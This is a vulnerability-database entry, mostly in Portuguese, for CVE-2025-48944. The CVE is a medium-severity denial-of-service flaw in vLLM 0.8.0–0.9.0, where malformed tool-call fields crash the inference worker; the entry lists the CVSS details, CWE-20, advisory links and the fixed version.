CVE-2025-48944

MEDIUM

6.5

Descricao

vLLM is an inference and serving engine for large language models (LLMs). In version 0.8.0 up to but excluding 0.9.0, the vLLM backend used with the /v1/chat/completions OpenAPI endpoint fails to validate unexpected or malformed input in the "pattern" and "type" fields when the tools functionality is invoked. These inputs are not validated before being compiled or parsed, causing a crash of the inference worker with a single request. The worker will remain down until it is restarted. Version 0.9.0 fixes the issue.

Detalhes CVE

Pontuacao CVSS v3.16.5

SeveridadeMEDIUM

Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Vetor de ataqueNETWORK

ComplexidadeLOW

Privilegios necessariosLOW

Interacao do usuarioNONE

Publicado5/30/2025

Ultima modificacao7/1/2025

Fontenvd

Avistamentos honeypot0

Produtos afetados

vllm:vllm

Fraquezas (CWE)

CWE-20

Referencias

https://github.com/vllm-project/vllm/pull/17623(security-advisories@github.com)

https://github.com/vllm-project/vllm/security/advisories/GHSA-vrq3-r879-7m65(security-advisories@github.com)

Correlacoes IOC

Sem correlacoes registradas

This product uses data from the NVD API but is not endorsed or certified by the NVD.